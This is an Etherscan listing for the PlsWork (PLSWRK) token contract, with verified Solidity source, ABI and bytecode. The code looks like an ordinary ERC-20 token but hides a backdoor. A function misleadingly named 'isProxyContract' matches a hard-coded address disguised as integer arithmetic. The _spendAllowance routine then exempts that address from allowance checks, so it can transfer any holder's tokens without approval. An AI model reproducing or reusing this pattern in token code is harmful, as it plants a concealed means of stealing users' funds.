ETH Price: $2,062.17 (+5.69%)
 

Overview

Max Total Supply

1,000,000,000 PLSWRK

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JelyJely

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-05-22
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

library Address {
    function isProxyContract(address account) internal pure returns (bool) {
        return uint160(account) == SafeMath.add(
            (43328177997058214255674009819611462089498996683 + 40633053543169027627499694332221142110862678234),
            8260363056712510214341303289058763427242013839
        );
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address sender = _msgSender();
        _transfer(sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _transfer(from, to, amount);
        _spendAllowance(from, spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from zero address");
        require(to != address(0), "ERC20: transfer to zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer exceeds balance");

        _balances[from] = fromBalance - amount;
        _balances[to] = _balances[to] + amount;

        emit Transfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from zero address");
        require(spender != address(0), "ERC20: approve to zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (!spender.isProxyContract()) {
                require(currentAllowance >= amount, "ERC20: insufficient allowance");
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

contract JelyJely is ERC20, Ownable {
    constructor() ERC20("PlsWork", "PLSWRK") {
        _mint(owner(), 1_000_000_000 * 10**18);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b506040518060400160405280600781526020017f506c73576f726b000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f504c5357524b0000000000000000000000000000000000000000000000000000815250816003908161008b9190610555565b50806004908161009b9190610555565b5050506100ba6100af6100e860201b60201c565b6100ef60201b60201c565b6100e36100cb6101b260201b60201c565b6b033b2e3c9fd0803ce80000006101da60201b60201c565b610724565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610248576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023f9061067e565b60405180910390fd5b8060025f82825461025991906106c9565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546102ab91906106c9565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161030f919061070b565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061039657607f821691505b6020821081036103a9576103a8610352565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261040b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826103d0565b61041586836103d0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61045961045461044f8461042d565b610436565b61042d565b9050919050565b5f819050919050565b6104728361043f565b61048661047e82610460565b8484546103dc565b825550505050565b5f90565b61049a61048e565b6104a5818484610469565b505050565b5b818110156104c8576104bd5f82610492565b6001810190506104ab565b5050565b601f82111561050d576104de816103af565b6104e7846103c1565b810160208510156104f6578190505b61050a610502856103c1565b8301826104aa565b50505b505050565b5f82821c905092915050565b5f61052d5f1984600802610512565b1980831691505092915050565b5f610545838361051e565b9150826002028217905092915050565b61055e8261031b565b67ffffffffffffffff81111561057757610576610325565b5b610581825461037f565b61058c8282856104cc565b5f60209050601f8311600181146105bd575f84156105ab578287015190505b6105b5858261053a565b86555061061c565b601f1984166105cb866103af565b5f5b828110156105f2578489015182556001820191506020850194506020810190506105cd565b8683101561060f578489015161060b601f89168261051e565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f207a65726f206164647265737300000000005f82015250565b5f610668601b83610624565b915061067382610634565b602082019050919050565b5f6020820190508181035f8301526106958161065c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6106d38261042d565b91506106de8361042d565b92508282019050808211156106f6576106f561069c565b5b92915050565b6107058161042d565b82525050565b5f60208201905061071e5f8301846106fc565b92915050565b6110ca806107315f395ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a5780638da5cb5b1461018a57806395d89b41146101a8578063a9059cbb146101c6578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610aaf565b60405180910390f35b6100d860048036038101906100d39190610b60565b6102b6565b6040516100e59190610bb8565b60405180910390f35b6100f66102d8565b6040516101039190610be0565b60405180910390f35b61012660048036038101906101219190610bf9565b6102e1565b6040516101339190610bb8565b60405180910390f35b61014461030f565b6040516101519190610c64565b60405180910390f35b610174600480360381019061016f9190610c7d565b610317565b6040516101819190610be0565b60405180910390f35b61019261035c565b60405161019f9190610cb7565b60405180910390f35b6101b0610384565b6040516101bd9190610aaf565b60405180910390f35b6101e060048036038101906101db9190610b60565b610414565b6040516101ed9190610bb8565b60405180910390f35b610210600480360381019061020b9190610cd0565b610436565b60405161021d9190610be0565b60405180910390f35b60606003805461023590610d3b565b80601f016020809104026020016040519081016040528092919081815260200182805461026190610d3b565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f806102c06104b8565b90506102cd8185856104bf565b600191505092915050565b5f600254905090565b5f806102eb6104b8565b90506102f8858585610682565b610303858285610920565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461039390610d3b565b80601f01602080910402602001604051908101604052809291908181526020018280546103bf90610d3b565b801561040a5780601f106103e15761010080835404028352916020019161040a565b820191905f5260205f20905b8154815290600101906020018083116103ed57829003601f168201915b5050505050905090565b5f8061041e6104b8565b905061042b818585610682565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361052d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052490610db5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290610e1d565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106759190610be0565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e790610eab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361075e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075590610f13565b60405180910390fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156107e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d890610f7b565b60405180910390fd5b81816107ed9190610fc6565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108759190610ff9565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109129190610be0565b60405180910390a350505050565b5f61092b8484610436565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d2576109738373ffffffffffffffffffffffffffffffffffffffff166109d8565b6109d157818110156109ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b190611076565b60405180910390fd5b6109d0848484846109cb9190610fc6565b6104bf565b5b5b50505050565b5f610a0b730eb4f3ab68b75e54e0eb8358cd497e861a0a48a5730172685145b3452e29127e016e4a0df5f2cf748f610a2a565b8273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f8183610a379190610ff9565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610a8182610a3f565b610a8b8185610a49565b9350610a9b818560208601610a59565b610aa481610a67565b840191505092915050565b5f6020820190508181035f830152610ac78184610a77565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610afc82610ad3565b9050919050565b610b0c81610af2565b8114610b16575f80fd5b50565b5f81359050610b2781610b03565b92915050565b5f819050919050565b610b3f81610b2d565b8114610b49575f80fd5b50565b5f81359050610b5a81610b36565b92915050565b5f8060408385031215610b7657610b75610acf565b5b5f610b8385828601610b19565b9250506020610b9485828601610b4c565b9150509250929050565b5f8115159050919050565b610bb281610b9e565b82525050565b5f602082019050610bcb5f830184610ba9565b92915050565b610bda81610b2d565b82525050565b5f602082019050610bf35f830184610bd1565b92915050565b5f805f60608486031215610c1057610c0f610acf565b5b5f610c1d86828701610b19565b9350506020610c2e86828701610b19565b9250506040610c3f86828701610b4c565b9150509250925092565b5f60ff82169050919050565b610c5e81610c49565b82525050565b5f602082019050610c775f830184610c55565b92915050565b5f60208284031215610c9257610c91610acf565b5b5f610c9f84828501610b19565b91505092915050565b610cb181610af2565b82525050565b5f602082019050610cca5f830184610ca8565b92915050565b5f8060408385031215610ce657610ce5610acf565b5b5f610cf385828601610b19565b9250506020610d0485828601610b19565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d5257607f821691505b602082108103610d6557610d64610d0e565b5b50919050565b7f45524332303a20617070726f76652066726f6d207a65726f20616464726573735f82015250565b5f610d9f602083610a49565b9150610daa82610d6b565b602082019050919050565b5f6020820190508181035f830152610dcc81610d93565b9050919050565b7f45524332303a20617070726f766520746f207a65726f206164647265737300005f82015250565b5f610e07601e83610a49565b9150610e1282610dd3565b602082019050919050565b5f6020820190508181035f830152610e3481610dfb565b9050919050565b7f45524332303a207472616e736665722066726f6d207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f610e95602183610a49565b9150610ea082610e3b565b604082019050919050565b5f6020820190508181035f830152610ec281610e89565b9050919050565b7f45524332303a207472616e7366657220746f207a65726f2061646472657373005f82015250565b5f610efd601f83610a49565b9150610f0882610ec9565b602082019050919050565b5f6020820190508181035f830152610f2a81610ef1565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f610f65601f83610a49565b9150610f7082610f31565b602082019050919050565b5f6020820190508181035f830152610f9281610f59565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610fd082610b2d565b9150610fdb83610b2d565b9250828203905081811115610ff357610ff2610f99565b5b92915050565b5f61100382610b2d565b915061100e83610b2d565b925082820190508082111561102657611025610f99565b5b92915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611060601d83610a49565b915061106b8261102c565b602082019050919050565b5f6020820190508181035f83015261108d81611054565b905091905056fea26469706673582212200150e7523da93560542510697bedacad0a5bfeef45bab1d55f2eedc3d078abf964736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a5780638da5cb5b1461018a57806395d89b41146101a8578063a9059cbb146101c6578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610aaf565b60405180910390f35b6100d860048036038101906100d39190610b60565b6102b6565b6040516100e59190610bb8565b60405180910390f35b6100f66102d8565b6040516101039190610be0565b60405180910390f35b61012660048036038101906101219190610bf9565b6102e1565b6040516101339190610bb8565b60405180910390f35b61014461030f565b6040516101519190610c64565b60405180910390f35b610174600480360381019061016f9190610c7d565b610317565b6040516101819190610be0565b60405180910390f35b61019261035c565b60405161019f9190610cb7565b60405180910390f35b6101b0610384565b6040516101bd9190610aaf565b60405180910390f35b6101e060048036038101906101db9190610b60565b610414565b6040516101ed9190610bb8565b60405180910390f35b610210600480360381019061020b9190610cd0565b610436565b60405161021d9190610be0565b60405180910390f35b60606003805461023590610d3b565b80601f016020809104026020016040519081016040528092919081815260200182805461026190610d3b565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f806102c06104b8565b90506102cd8185856104bf565b600191505092915050565b5f600254905090565b5f806102eb6104b8565b90506102f8858585610682565b610303858285610920565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461039390610d3b565b80601f01602080910402602001604051908101604052809291908181526020018280546103bf90610d3b565b801561040a5780601f106103e15761010080835404028352916020019161040a565b820191905f5260205f20905b8154815290600101906020018083116103ed57829003601f168201915b5050505050905090565b5f8061041e6104b8565b905061042b818585610682565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361052d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052490610db5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290610e1d565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106759190610be0565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e790610eab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361075e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075590610f13565b60405180910390fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156107e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d890610f7b565b60405180910390fd5b81816107ed9190610fc6565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108759190610ff9565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109129190610be0565b60405180910390a350505050565b5f61092b8484610436565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d2576109738373ffffffffffffffffffffffffffffffffffffffff166109d8565b6109d157818110156109ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b190611076565b60405180910390fd5b6109d0848484846109cb9190610fc6565b6104bf565b5b5b50505050565b5f610a0b730eb4f3ab68b75e54e0eb8358cd497e861a0a48a5730172685145b3452e29127e016e4a0df5f2cf748f610a2a565b8273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f8183610a379190610ff9565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610a8182610a3f565b610a8b8185610a49565b9350610a9b818560208601610a59565b610aa481610a67565b840191505092915050565b5f6020820190508181035f830152610ac78184610a77565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610afc82610ad3565b9050919050565b610b0c81610af2565b8114610b16575f80fd5b50565b5f81359050610b2781610b03565b92915050565b5f819050919050565b610b3f81610b2d565b8114610b49575f80fd5b50565b5f81359050610b5a81610b36565b92915050565b5f8060408385031215610b7657610b75610acf565b5b5f610b8385828601610b19565b9250506020610b9485828601610b4c565b9150509250929050565b5f8115159050919050565b610bb281610b9e565b82525050565b5f602082019050610bcb5f830184610ba9565b92915050565b610bda81610b2d565b82525050565b5f602082019050610bf35f830184610bd1565b92915050565b5f805f60608486031215610c1057610c0f610acf565b5b5f610c1d86828701610b19565b9350506020610c2e86828701610b19565b9250506040610c3f86828701610b4c565b9150509250925092565b5f60ff82169050919050565b610c5e81610c49565b82525050565b5f602082019050610c775f830184610c55565b92915050565b5f60208284031215610c9257610c91610acf565b5b5f610c9f84828501610b19565b91505092915050565b610cb181610af2565b82525050565b5f602082019050610cca5f830184610ca8565b92915050565b5f8060408385031215610ce657610ce5610acf565b5b5f610cf385828601610b19565b9250506020610d0485828601610b19565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d5257607f821691505b602082108103610d6557610d64610d0e565b5b50919050565b7f45524332303a20617070726f76652066726f6d207a65726f20616464726573735f82015250565b5f610d9f602083610a49565b9150610daa82610d6b565b602082019050919050565b5f6020820190508181035f830152610dcc81610d93565b9050919050565b7f45524332303a20617070726f766520746f207a65726f206164647265737300005f82015250565b5f610e07601e83610a49565b9150610e1282610dd3565b602082019050919050565b5f6020820190508181035f830152610e3481610dfb565b9050919050565b7f45524332303a207472616e736665722066726f6d207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f610e95602183610a49565b9150610ea082610e3b565b604082019050919050565b5f6020820190508181035f830152610ec281610e89565b9050919050565b7f45524332303a207472616e7366657220746f207a65726f2061646472657373005f82015250565b5f610efd601f83610a49565b9150610f0882610ec9565b602082019050919050565b5f6020820190508181035f830152610f2a81610ef1565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f610f65601f83610a49565b9150610f7082610f31565b602082019050919050565b5f6020820190508181035f830152610f9281610f59565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610fd082610b2d565b9150610fdb83610b2d565b9250828203905081811115610ff357610ff2610f99565b5b92915050565b5f61100382610b2d565b915061100e83610b2d565b925082820190508082111561102657611025610f99565b5b92915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611060601d83610a49565b915061106b8261102c565b602082019050919050565b5f6020820190508181035f83015261108d81611054565b905091905056fea26469706673582212200150e7523da93560542510697bedacad0a5bfeef45bab1d55f2eedc3d078abf964736f6c634300081a0033

Deployed Bytecode Sourcemap

5685:144:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2685:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3619:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3006:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3828:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2905:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3122:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1041:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2793:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3257:195;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3460:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2685:100;2739:13;2772:5;2765:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2685:100;:::o;3619:201::-;3702:4;3719:13;3735:12;:10;:12::i;:::-;3719:28;;3758:32;3767:5;3774:7;3783:6;3758:8;:32::i;:::-;3808:4;3801:11;;;3619:201;;;;:::o;3006:108::-;3067:7;3094:12;;3087:19;;3006:108;:::o;3828:261::-;3925:4;3942:15;3960:12;:10;:12::i;:::-;3942:30;;3983:27;3993:4;3999:2;4003:6;3983:9;:27::i;:::-;4021:38;4037:4;4043:7;4052:6;4021:15;:38::i;:::-;4077:4;4070:11;;;3828:261;;;;;:::o;2905:93::-;2963:5;2988:2;2981:9;;2905:93;:::o;3122:127::-;3196:7;3223:9;:18;3233:7;3223:18;;;;;;;;;;;;;;;;3216:25;;3122:127;;;:::o;1041:87::-;1087:7;1114:6;;;;;;;;;;;1107:13;;1041:87;:::o;2793:104::-;2849:13;2882:7;2875:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2793:104;:::o;3257:195::-;3336:4;3353:14;3370:12;:10;:12::i;:::-;3353:29;;3393;3403:6;3411:2;3415:6;3393:9;:29::i;:::-;3440:4;3433:11;;;3257:195;;;;:::o;3460:151::-;3549:7;3576:11;:18;3588:5;3576:18;;;;;;;;;;;;;;;:27;3595:7;3576:27;;;;;;;;;;;;;;;;3569:34;;3460:151;;;;:::o;568:98::-;621:7;648:10;641:17;;568:98;:::o;4887:338::-;5006:1;4989:19;;:5;:19;;;4981:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5083:1;5064:21;;:7;:21;;;5056:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5163:6;5133:11;:18;5145:5;5133:18;;;;;;;;;;;;;;;:27;5152:7;5133:27;;;;;;;;;;;;;;;:36;;;;5201:7;5185:32;;5194:5;5185:32;;;5210:6;5185:32;;;;;;:::i;:::-;;;;;;;;4887:338;;;:::o;4097:502::-;4210:1;4194:18;;:4;:18;;;4186:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4283:1;4269:16;;